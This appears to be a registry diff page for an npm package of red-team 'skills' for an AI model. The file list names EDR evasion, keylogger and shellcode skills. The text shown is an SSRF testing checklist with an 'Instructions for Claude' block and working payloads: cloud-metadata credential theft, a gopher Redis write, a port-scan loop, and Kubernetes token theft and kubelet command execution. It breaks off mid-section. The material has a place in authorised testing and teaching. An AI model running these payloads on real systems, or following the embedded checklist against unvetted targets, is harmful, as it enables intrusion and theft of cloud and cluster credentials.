@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,830 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Server-Side Request Forgery (SSRF)
4
+
5
+ ## Metadata
6
+ - **Skill Name**: ssrf
7
+ - **Folder**: offensive-ssrf
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/ssrf.md
9
+
10
+ ## Description
11
+ Server-Side Request Forgery testing checklist: SSRF discovery, blind SSRF with out-of-band, cloud metadata endpoints (AWS/GCP/Azure), SSRF filter bypass techniques (IP encoding, DNS rebinding, redirect chains), and SSRF to RCE escalation. Use for web app SSRF testing and bug bounty.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `SSRF, server-side request forgery, blind SSRF, cloud metadata, AWS metadata, GCP metadata, SSRF bypass, DNS rebinding, redirect chain, SSRF RCE, internal port scan`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Server-Side Request Forgery (SSRF)
31
+
32
+ ## Shortcut
33
+
34
+ - Spot the features prone to SSRF and take notes for future reference.
35
+ - Set up a callback listener to detect blind SSRF by using an online service, Netcat, or Burp's Collaborator feature.
36
+ - Provide the potentially vulnerable endpoints with common internal addresses or the address of your callback listener.
37
+ - Check if the server responds with information that confirms the SSRF. Or, in the case of a blind SSRF, check your server logs for requests from the target server.
38
+ - In the case of a blind SSRF, check if the server behavior differs when you request different hosts or ports.
39
+ - If SSRF protection is implemented, try to bypass it by using the strategies discussed in this chapter.
40
+ - Pick a tactic to escalate the SSRF.
41
+
42
+ ```mermaid
43
+ flowchart LR
44
+ A[Identify SSRF Vectors] --> B[Setup Callback Listener]
45
+ B --> C[Test Internal Addresses]
46
+ C --> D{Response Contains\nInternal Data?}
47
+ D -->|Yes| E[Basic SSRF Confirmed]
48
+ D -->|No| F[Check Callback\nListener Logs]
49
+ F --> G{Callbacks\nReceived?}
50
+ G -->|Yes| H[Blind SSRF Confirmed]
51
+ G -->|No| I[Try Bypass Techniques]
52
+ I --> J[Retest with Bypasses]
53
+ E --> K[Escalate SSRF]
54
+ H --> K
55
+ J --> D
56
+ ```
57
+
58
+ ## Mechanisms
59
+
60
+ Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to induce a server-side application to make requests to an unintended location. In a successful SSRF attack, the attacker can force the server to connect to:
61
+
62
+ - Internal services within the organization's infrastructure
63
+ - External systems on the internet
64
+ - Services on the same server (localhost)
65
+ - Cloud service provider metadata endpoints
66
+
67
+ ```mermaid
68
+ graph TD
69
+ A[Attacker] -->|Sends crafted request| B[Vulnerable Web App]
70
+ B -->|Makes request to| C[Unintended Target]
71
+ C -->|Responds with data| B
72
+ B -->|Includes response data| A
73
+
74
+ subgraph "Possible Targets"
75
+ C
76
+ D[Internal Network Services]
77
+ E[Cloud Metadata Service]
78
+ F[External Web Services]
79
+ G[Local Services on Same Server]
80
+ end
81
+
82
+ C --- D
83
+ C --- E
84
+ C --- F
85
+ C --- G
86
+ ```
87
+
88
+ Types of SSRF include:
89
+
90
+ - **Basic SSRF**: Direct requests to internal/external resources
91
+ - **Blind SSRF**: No response returned, but requests still occur
92
+ - **Semi-blind SSRF**: Limited information returned in responses
93
+ - **Time-based SSRF**: Detection through response timing differences
94
+ - **Out-of-band SSRF**: Secondary channel used for data exfiltration
95
+
96
+ ## Hunt
97
+
98
+ ### Identifying SSRF Vectors
99
+
100
+ - **URL Input Fields**:
101
+ - Website preview generators
102
+ - Document/image imports from URLs
103
+ - API integrations with external services
104
+ - Webhook configurations
105
+ - Export to PDF/screenshot functionality
106
+
107
+ - **Proxy Functionality**:
108
+ - Web proxies
109
+ - Content fetchers
110
+ - API gateways
111
+ - Translation services
112
+
113
+ - **File Processing**:
114
+ - Media conversion tools
115
+ - Document processors
116
+ - XML/JSON processors with external entity support
117
+
118
+ - **Integration Points**:
119
+ - Third-party service connections
120
+ - Cloud storage integrations
121
+ - Monitoring systems
122
+ - Webhook endpoints
123
+
124
+ ```mermaid
125
+ mindmap
126
+ root((SSRF Vectors))
127
+ URL Input Fields
128
+ Website Previews
129
+ URL Imports
130
+ API Integrations
131
+ Webhooks
132
+ PDF/Screenshot Export
133
+ Proxy Functionality
134
+ Web Proxies
135
+ Content Fetchers
136
+ API Gateways
137
+ Translation Services
138
+ File Processing
139
+ Media Converters
140
+ Document Processors
141
+ XML/JSON Processors
142
+ Integration Points
143
+ Third-party Services
144
+ Cloud Storage
145
+ Monitoring Systems
146
+ Webhook Endpoints
147
+ ```
148
+
149
+ ### Test Methodology
150
+
151
+ 1. **Identify Parameters**: Find URL or hostname parameters
152
+ 2. **Setup Listener**: Configure a system to detect callbacks
153
+ - Public server with unique URL
154
+ - Burp Collaborator
155
+ - Tools like Interactsh or canarytokens.org
156
+ 3. **Test Internal Access**: Try accessing internal resources
157
+ ```
158
+ http://localhost:port
159
+ http://127.0.0.1:port
160
+ http://0.0.0.0:port
161
+ http://internal-service.local
162
+ http://169.254.169.254/ (cloud metadata)
163
+ ```
164
+ 4. **Observe Responses**: Check for:
165
+ - Response time differences
166
+ - Error messages
167
+ - Content leakage
168
+ - Callbacks to your server
169
+
170
+ ```mermaid
171
+ sequenceDiagram
172
+ participant Attacker
173
+ participant WebApp as Vulnerable Web App
174
+ participant Internal as Internal Services
175
+ participant CallbackServer as Attacker's Callback Server
176
+
177
+ Note over Attacker,CallbackServer: Phase 1: Basic SSRF Testing
178
+
179
+ Attacker->>WebApp: Request with Internal URL<br>(http://localhost:8080)
180
+ WebApp->>Internal: Makes request to internal service
181
+ Internal->>WebApp: Response from internal service
182
+ WebApp->>Attacker: Leaked internal response
183
+
184
+ Note over Attacker,CallbackServer: Phase 2: Blind SSRF Testing
185
+
186
+ Attacker->>WebApp: Request with Callback URL<br>(http://attacker-server.com/unique-id)
187
+ WebApp->>CallbackServer: Makes request to callback server
188
+ CallbackServer->>Attacker: Log notification of request
189
+
190
+ Note over Attacker,CallbackServer: Phase 3: Bypass Testing
191
+
192
+ Attacker->>WebApp: Request with Obfuscated URL<br>(http://127.0.0.1.attacker.com)
193
+ WebApp->>CallbackServer: Makes request due to parser confusion
194
+ CallbackServer->>Attacker: Log notification of successful bypass
195
+ ```
196
+
197
+ ### Bypass Techniques Hunting
198
+
199
+ - Look for partial validation or URL parsing issues
200
+ - Test scheme changes (http→https, http→file)
201
+ - Try different IP formats (decimal, octal, hex)
202
+ - Use URL shorteners if allowed
203
+ - Check DNS rebinding possibilities
204
+
205
+ ## Bypass Techniques
206
+
207
+ ### Allowlist Bypasses
208
+
209
+ - **Open Redirects**: Using allowed domains with redirect parameters
210
+ ```
211
+ https://allowed-domain.com/redirect?url=http://internal-server
212
+ ```
213
+ - **DNS Spoofing**: Register expired domains from allowlist
214
+ - **Subdomain Takeover**: Control subdomains of allowed domains
215
+ - **Path Traversal**: `https://allowed-domain.com@evil.com`
216
+
217
+ ### Denylist Bypasses
218
+
219
+ - **Alternate IP Representations**:
220
+ ```
221
+ http://127.0.0.1/
222
+ http://127.1/
223
+ http://0177.0.0.1/
224
+ http://0x7f.0.0.1/
225
+ http://2130706433/ (decimal representation)
226
+ ```
227
+ - **IPv6 Variations**:
228
+ ```
229
+ http://[::1]/
230
+ http://[::127.0.0.1]/
231
+ http://[0:0:0:0:0:ffff:127.0.0.1]/
232
+ ```
233
+ - **Domain Resolutions**:
234
+ ```
235
+ http://localhost.evil.com/ (when attacker controls evil.com DNS)
236
+ http://spoofed-domain/ (with modified /etc/hosts)
237
+ ```
238
+ - **URL Encoding Tricks**:
239
+ ```
240
+ http://127.0.0.1/ → http://127%2e0%2e0%2e1/
241
+ http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/
242
+ ```
243
+ - **Non-Standard Ports**: Accessing standard services on non-standard ports
244
+ - **Case Manipulation**: `http://LoCaLhOsT/`
245
+ - **URL Schema Confusion**: `http:////localhost/`
246
+
247
+ ```mermaid
248
+ flowchart TD
249
+ A[SSRF Protection Bypass] --> B[Allowlist Bypass]
250
+ A --> C[Denylist Bypass]
251
+
252
+ B --> B1[Open Redirects]
253
+ B --> B2[DNS Spoofing]
254
+ B --> B3[Subdomain Takeover]
255
+ B --> B4[Path Traversal]
256
+
257
+ C --> C1[IP Representation Tricks]
258
+ C1 --> C1a[Decimal: 2130706433]
259
+ C1 --> C1b[Octal: 0177.0.0.1]
260
+ C1 --> C1c[Hex: 0x7f.0.0.1]
261
+ C1 --> C1d[Shortened: 127.1]
262
+
263
+ C --> C2[IPv6 Variations]
264
+ C2 --> C2a["[::1]"]
265
+ C2 --> C2b["[::127.0.0.1]"]
266
+
267
+ C --> C3[Domain Tricks]
268
+ C3 --> C3a[localhost.evil.com]
269
+ C3 --> C3b[spoofed-domain]
270
+
271
+ C --> C4[Encoding Tricks]
272
+ C4 --> C4a[URL Encoding]
273
+ C4 --> C4b[Double Encoding]
274
+
275
+ C --> C5[Schema Confusion]
276
+ C5 --> C5a["http:////localhost"]
277
+
278
+ style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
279
+ style B fill:#aae,stroke:#333,color:#333
280
+ style C fill:#aae,stroke:#333,color:#333
281
+ ```
282
+
283
+ ### Uncommon Techniques
284
+
285
+ - **DNS Rebinding**: Change DNS resolution mid-connection
286
+ - **Temporal Intents**: Reliance on stale DNS resolution
287
+ - **Double URL Encoding**: Encode already encoded values
288
+ - **Unicode Normalization**: Using similar-looking characters
289
+ - **Protocol Downgrading**: Switching from https to http
290
+
291
+ ### Additional Cloud Endpoints
292
+
293
+ - **Alibaba Cloud**: `http://100.100.100.200/latest/meta-data/`
294
+ - **Packet Cloud**: `https://metadata.packet.net/userdata`
295
+ - **ECS Task**: `http://169.254.170.2/v2/credentials/`
296
+ - **OpenStack**: `http://169.254.169.254/openstack/latest/meta_data.json`
297
+
298
+ ### Other Bypass Methods
299
+
300
+ - **Weak Parser Exploits**:
301
+ ```
302
+ http://127.1.1.1:80\@127.2.2.2:80/
303
+ http://127.1.1.1:80\@@127.2.2.2:80/
304
+ http://127.1.1.1:80:\@@127.2.2.2:80/
305
+ ```
306
+ - **Filter Bypass**:
307
+ ```
308
+ 0://evil.com:80;http://google.com:80/
309
+ ```
310
+ - **Enclosed Alphanumerics**: Using special Unicode characters that look like regular characters
311
+ ```
312
+ http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
313
+ ```
314
+ - Host header abuse (`Host:` or `X-Forwarded-Host:`) against permissive back-end proxies
315
+ - Unicode homoglyph hostnames (e.g., ⅰⅱⅲ.local) to dodge simple regex checks
316
+ - DNS-over-HTTPS lookups (`https://dns.google/resolve?name=…`) to leak internal hostnames
317
+
318
+ ### PDF SSRF Exploitation
319
+
320
+ When SSRF occurs in PDF rendering functionality, SVG can be used to exploit it:
321
+
322
+ ```xml
323
+ <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
324
+ <g>
325
+ <foreignObject width="800" height="500">
326
+ <body xmlns="http://www.w3.org/1999/xhtml">
327
+ <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
328
+ </body>
329
+ </foreignObject>
330
+ </g>
331
+ </svg>
332
+ ```
333
+
334
+ ### Additional IP Representation Bypasses
335
+
336
+ ```
337
+ http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
338
+ http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
339
+ http://0330.072.0326.0343
340
+ http://033016553343
341
+ http://0x0NaN0NaN
342
+ http://0xNaN.0xaN0NaN
343
+ http://0xNaN.0xNa0x0NaN
344
+ http://shmilon.0xNaN.undefined.undefined
345
+ http://NaN
346
+ http://0NaN
347
+ http://0NaN.0NaN
348
+ ```
349
+
350
+ ## Vulnerabilities
351
+
352
+ ### Common SSRF Vulnerabilities
353
+
354
+ #### Cloud Metadata Access
355
+
356
+ - **AWS**: `http://169.254.169.254/latest/meta-data/` (IMDSv2 is now default; first acquire a session token with `PUT /latest/api/token` and include it in `X-aws-ec2-metadata-token`)
357
+
358
+ **AWS IMDSv2 Session Token Bypass Techniques:**
359
+
360
+ Many SSRF filters block `169.254.169.254` but miss the two-step IMDSv2 flow:
361
+
362
+ ```python
363
+ # Step 1: Obtain session token (requires PUT request)
364
+ PUT http://169.254.169.254/latest/api/token
365
+ X-aws-ec2-metadata-token-ttl-seconds: 21600
366
+
367
+ # If application supports PUT via SSRF parameter:
368
+ # Example 1: Via parameter that accepts methods
369
+ POST /api/fetch
370
+ {
371
+ "url": "http://169.254.169.254/latest/api/token",
372
+ "method": "PUT",
373
+ "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
374
+ }
375
+
376
+ # Example 2: Via URL scheme that triggers PUT
377
+ http://vulnerable.com/proxy?url=http://169.254.169.254/latest/api/token&method=PUT
378
+
379
+ # Step 2: Use token to access metadata
380
+ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE
381
+ X-aws-ec2-metadata-token: <TOKEN_FROM_STEP1>
382
+ ```
383
+
384
+ **IMDSv2 Bypass Scenarios:**
385
+
386
+ 1. Application supports custom HTTP methods in SSRF
387
+ 2. Server-side HTTP client uses method from request parameter
388
+ 3. HTTP parameter pollution (mixing GET with PUT semantics)
389
+ 4. SSRF through applications that intentionally support PUT (webhooks, API gateways)
390
+ 5. Vulnerable proxy servers that forward method override headers (`X-HTTP-Method-Override: PUT`)
391
+
392
+ - **Azure**: `http://169.254.169.254/metadata/instance` (requires header `Metadata: true` and `api-version`; alternate IP `http://168.63.129.16/metadata/instance`)
393
+ - **DigitalOcean**: `http://169.254.169.254/metadata/v1.json`
394
+ - **Equinix Metal**: `http://169.254.169.254/metadata` (legacy `metadata.packet.net` now redirects here)
395
+ - **Google Cloud**: `http://metadata.google.internal/computeMetadata/v1/`
396
+ - **Oracle Cloud**: `http://169.254.169.254/opc/v1/instance/`
397
+
398
+ #### Internal Service Exposure
399
+
400
+ - **Admin Interfaces**: `http://localhost:8080/admin`
401
+ - **Databases**: `http://localhost:3306`, `http://localhost:27017`
402
+ - **Caching Servers**: `http://localhost:6379` (Redis)
403
+ - **Management APIs**: `http://localhost:8500` (Consul)
404
+ - **Development Servers**: `http://localhost:3000`, `http://localhost:8000`
405
+
406
+ #### Protocol Abuse
407
+
408
+ - **File Protocol**: `file:///etc/passwd`
409
+ - **Dict Protocol**: `dict://localhost:6379/info`
410
+ - **Gopher Protocol**: `gopher://localhost:25/`
411
+ - **TFTP Protocol**: `tftp://localhost:69/`
412
+ - **LDAP Protocol**: `ldap://localhost:389/`
413
+ - **HTTP/2 Coalescing**: Re-used TLS connections between SAN-matched hostnames can bypass host-based filters
414
+ - **h2c Upgrade**: Clear-text HTTP/2 upgrade (`PRI * HTTP/2.0`) may slip past scheme filters
415
+ - **IPv6‑mapped IPv4**: `http://[::ffff:127.0.0.1]` and `http://[::ffff:7f00:1]`
416
+ - **Zone‑scoped IPv6**: `http://[fe80::1%25lo0]:80` may confuse naive validators
417
+
418
+ ```mermaid
419
+ graph TB
420
+ A[SSRF Vulnerability]
421
+ A --> B[Cloud Metadata<br>Exploitation]
422
+ A --> C[Internal Service<br>Access]
423
+ A --> D[Protocol<br>Abuse]
424
+
425
+ B --> B1["AWS: 169.254.169.254"]
426
+ B --> B2["GCP: metadata.google.internal"]
427
+ B --> B3["Azure: 169.254.169.254/metadata"]
428
+
429
+ C --> C1["Admin: localhost:8080/admin"]
430
+ C --> C2["DB: localhost:3306, 27017"]
431
+ C --> C3["Cache: localhost:6379"]
432
+ C --> C4["DevSrv: localhost:3000, 8000"]
433
+
434
+ D --> D1["file:///etc/passwd"]
435
+ D --> D2["dict://localhost:6379"]
436
+ D --> D3["gopher://localhost:25"]
437
+ D --> D4["ldap://localhost:389"]
438
+
439
+ style A fill:#b7b,stroke:#333,stroke-width:2px,color:#333
440
+ style B fill:#aae,stroke:#333,color:#333
441
+ style C fill:#aae,stroke:#333,color:#333
442
+ style D fill:#aae,stroke:#333,color:#333
443
+ ```
444
+
445
+ ### Common SSRF Parameters
446
+
447
+ ```
448
+ url, dest, redirect, uri, path, continue, window, next, data, reference,
449
+ site, html, val, validate, domain, callback, return, page, feed, host,
450
+ port, to, out, view, dir, origin, source, endpoint, proxy, fetch, img_url
451
+ link, site_url, media_url
452
+ ```
453
+
454
+ ## Methodologies
455
+
456
+ ### Tools
457
+
458
+ - **Burp Suite Extensions**:
459
+ - Collaborator
460
+ - SSRF Scanner
461
+ - Param Miner
462
+ - Turbo Intruder
463
+ - **Specialized SSRF Tools**:
464
+ - SSRFmap
465
+ - Gopherus
466
+ - SSRF Sheriff
467
+ - Interactsh
468
+ - **Network Utilities**:
469
+ - Netcat
470
+ - TCPDump
471
+ - Wireshark
472
+ - **Payload Generators**:
473
+ - PayloadsAllTheThings (SSRF section)
474
+ - FuzzDB
475
+
476
+ ### Testing Process
477
+
478
+ ```mermaid
479
+ graph TD
480
+ A[Start SSRF Testing] --> B[Initial Discovery]
481
+ B --> B1[Map Entry Points]
482
+ B --> B2[Setup OOB Detection]
483
+ B --> B3[Test External URLs]
484
+ B --> B4[Analyze Responses]
485
+
486
+ B4 --> C{Potential SSRF?}
487
+ C -->|Yes| D[Vulnerability Confirmation]
488
+ C -->|No| E[Test Different Parameters]
489
+ E --> B4
490
+
491
+ D --> D1[Test Internal Resources]
492
+ D --> D2[Test Blind SSRF]
493
+ D --> D3[Test Protocol Support]
494
+
495
+ D3 --> F{Vulnerability Confirmed?}
496
+ F -->|Yes| G[Exploitation]
497
+ F -->|No| H[Test Bypass Techniques]
498
+ H --> D1
499
+
500
+ G --> G1[Port Scanning]
501
+ G --> G2[Cloud Metadata Access]
502
+ G --> G3[Protocol-Specific Exploitation]
503
+ G --> G4[File Access]
504
+
505
+ G4 --> I[Documentation/Reporting]
506
+
507
+ style A fill:#f9f,stroke:#333,stroke-width:2px,color:#333
508
+ style C fill:#ff9,stroke:#333,stroke-width:2px,color:#333
509
+ style F fill:#ff9,stroke:#333,stroke-width:2px,color:#333
510
+ style I fill:#9f9,stroke:#333,stroke-width:2px,color:#333
511
+ ```
512
+
513
+ #### Initial Discovery
514
+
515
+ 1. Map all application entry points accepting URLs or file paths
516
+ 2. Set up out-of-band detection server (e.g., Burp Collaborator)
517
+ 3. Test with benign external URL (e.g., `https://your-server.com/ssrf-test`)
518
+ 4. Analyze responses and check for callbacks
519
+
520
+ #### Vulnerability Confirmation
521
+
522
+ 1. Test access to common internal resources:
523
+
524
+ ```
525
+ http://localhost/
526
+ http://127.0.0.1:22/
527
+ http://127.0.0.1:3306/
528
+ http://169.254.169.254/
529
+ ```
530
+
531
+ 2. Test for blind SSRF using time delays:
532
+
533
+ ```
534
+ http://slowwly.robertomurray.co.uk/delay/5000/url/http://www.google.com
535
+ ```
536
+
537
+ 3. Confirm protocol support:
538
+ ```
539
+ file:///etc/passwd
540
+ gopher://localhost:25/xHELO%20localhost
541
+ ```
542
+
543
+ #### Exploitation
544
+
545
+ 1. **Port Scanning**:
546
+
547
+ ```
548
+ for port in {1..65535}; do
549
+ curl -s "https://target.com/api?url=http://localhost:$port" -o /dev/null
550
+ if [ $? -eq 0 ]; then echo "Port $port is open"; fi
551
+ done
552
+ ```
553
+
554
+ 2. **Cloud Metadata Access**:
555
+
556
+ ```
557
+ # AWS
558
+ # IMDSv2 requires first fetching a token
559
+ curl -s -X PUT "https://target.com/api?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
560
+ # then include it
561
+ curl -s "https://target.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE" -H "X-aws-ec2-metadata-token: TOKEN"
562
+ # Then query the specific role
563
+ curl -s "https://target.com/api?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
564
+
565
+ # GCP
566
+ curl -s "https://target.com/api?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
567
+
568
+ # Azure
569
+ curl -s "https://target.com/api?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"
570
+ ```
571
+
572
+ 3. **Gopher Protocol Exploitation** (Redis example):
573
+
574
+ ```
575
+ gopher://127.0.0.1:6379/_SET%20ssrfkey%20%22Hello%20SSRF%22%0D%0ACONFIG%20SET%20dir%20%2Ftmp%2F%0D%0ACONFIG%20SET%20dbfilename%20redis.dump%0D%0ASAVE%0D%0AQUIT
576
+ ```
577
+
578
+ 4. **File Access**:
579
+ ```
580
+ file:///etc/passwd
581
+ file:///proc/self/environ
582
+ file:///var/www/html/config.php
583
+ ```
584
+
585
+ #### Bypass Testing
586
+
587
+ 1. Test IP representation variations:
588
+
589
+ ```
590
+ http://127.0.0.1/
591
+ http://2130706433/
592
+ http://0x7f.0.0.1/
593
+ http://017700000001/
594
+ ```
595
+
596
+ 2. Test with URL encoding:
597
+
598
+ ```
599
+ http://127.0.0.1/ → http://127%2e0%2e0%2e1/
600
+ ```
601
+
602
+ 3. Test with open redirects:
603
+
604
+ ```
605
+ https://allowed-domain.com/redirect?url=http://internal-server
606
+ ```
607
+
608
+ 4. Test DNS rebinding with modern tools:
609
+
610
+ **Modern DNS Rebinding Tools:**
611
+
612
+ - **1u.ms** - Online DNS rebinding service (successor to rebinder.net)
613
+ - **Singularity of Origin** - Advanced rebinding toolkit with GUI
614
+ - **rbndr.us** - Simple rebinding for pentesting (format: `make-<ip1>-<ip2>-rbndr.us`)
615
+ - **lockyfork/rebind** - Docker container for self-hosted rebinding server
616
+ - **DNSRebindToolkit** - Python-based customizable rebinding server
617
+
618
+ Example usage:
619
+
620
+ ```bash
621
+ # Using rbndr.us: first resolves to your server, then to internal IP
622
+ curl http://make-1.2.3.4-127.0.0.1-rbndr.us
623
+
624
+ # Using 1u.ms
625
+ curl http://1u.ms/A-127.0.0.1:1-2 # Alternates between external and localhost
626
+ ```
627
+
628
+ ### Reporting
629
+
630
+ - Document the affected endpoint and parameters
631
+ - Provide clear proof of concept
632
+ - Explain potential impact (data access, internal recon, etc.)
633
+ - Suggest specific remediation for the vulnerability
634
+ - Include any bypass techniques that worked
635
+
636
+ ## Escalate
637
+
638
+ - Perform Network Scanning to identify another vulnerable machine
639
+ - Pull Instance Metadata from cloud machines
640
+ - Kubernetes pivot: test common internal services from SSRF vantage point
641
+
642
+ ### Kubernetes-Specific SSRF Attack Surface
643
+
644
+ #### Service Account Token Theft
645
+
646
+ ```bash
647
+ # From SSRF vantage point:
648
+
649
+ # 1. Kubelet API (often unauthenticated or weakly authenticated)
650
+ curl http://127.0.0.1:10250/pods # List all pods on node
651
+ curl http://127.0.0.1:10250/run/<namespace>/<pod>/<container> -d "cmd=id" # Execute commands
652
+ curl http://127.0.0.1:10255/pods # Read-only port (legacy, often still open)
653
+
654
+ # 2. Extract service account token
655
+ curl file:///var/run/secrets/kubernetes.io/serviceaccount/token
656
+ # Or via SSRF
657
+ http://vulnerable-app?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token
658
+
659
+ # 3. Use service account to access Kubernetes API
660
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
661
+ curl -H "Authorization: Bearer $TOKEN" \
662
+ https://kubernetes.default.svc/api/v1/namespaces/default/pods
663
+
664
+ # 4. List secrets
665
+ curl -H "Authorization: Bearer $TOKEN" \
666
+ https://kubernetes.default.svc/api/v1/namespaces/default/secrets
667
+ ```
668
+
669
+ #### Service Mesh Metadata Exposure
670
+
671
+ **Istio/Envoy:**
672
+
673
+ ```bash
674
+ # Envoy admin interface (often exposed on localhost)
675
+ http://127.0.0.1:15000/config_dump # Full mesh configuration, certificates, endpoints
676
+ http://127.0.0.1:15000/clusters # Upstream services and health
677
+ http://127.0.0.1:15000/stats # Detailed metrics
678
+ http://127.0.0.1:15000/certs # TLS certificates
679
+ http://127.0.0.1:15001/ # Envoy admin on alternative port
680
+
681
+ # Pilot discovery service
682
+ http://127.0.0.1:8080/debug/endpointz # Service endpoints
683
+ http://127.0.0.1:8080/debug/configz # Pilot configuration
684
+ ```
685
+
686
+ **Linkerd:**
687
+
688
+ ```bash
689
+ # Linkerd proxy admin
690
+ http://127.0.0.1:4191/metrics # Prometheus metrics (leaks service topology)
691
+ http://127.0.0.1:4191/ready # Readiness endpoint
692
+ http://127.0.0.1:4140/ # Inbound proxy admin
693
+ ```
694
+
695
+ **Consul Connect:**
696
+
697
+ ```bash
698
+ http://127.0.0.1:8500/v1/agent/self # Agent configuration
699
+ http://127.0.0.1:8500/v1/catalog/services # Service catalog
700
+ ```
701
+
702
+ #### Container Runtime Socket Exposure
703
+
704
+ ```bash
705
+ # Docker socket (if mounted - common in CI/CD containers)
706
+ # Via SSRF translate unix socket to HTTP
707
+ unix:///var/run/docker.sock
708
+
709
+ # Example: List containers
710
+ curl --unix-socket /var/run/docker.sock http://localhost/v1.40/containers/json
711
+
712
+ # Via SSRF (if application supports unix sockets):
